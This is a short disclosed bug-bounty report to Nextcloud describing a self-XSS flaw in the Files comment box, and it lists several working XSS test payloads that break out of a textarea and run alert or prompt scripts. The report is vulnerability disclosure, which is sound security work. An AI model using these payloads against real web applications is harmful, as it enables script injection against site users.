Reflected Self-XSS Vulnerability in the Comment section of Files (Different-payloads)

Disclosed: 2016-08-31 13:08:24 By shivakumar143 To nextcloud
Unknown
Vulnerability Details
Note::steps mentioned in report#164027 In the Comments Box,the payload to execute XSS is passed. Test Payloads: </textarea><script>alert(1)</script> Also the above payload is still working.. Also try this payload </textarea>"><img src=x onerror=prompt('XSS');> </textarea><IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> </textarea><svg/onload=alert('XSS')> </textarea>foo<script>alert(1)</script> Click edit comment after posted. XSS Triggers.
Actions
View on HackerOne
Report Stats
  • Report ID: 164520
  • State: Closed
  • Substate: duplicate
  • Upvotes: 2
Share this report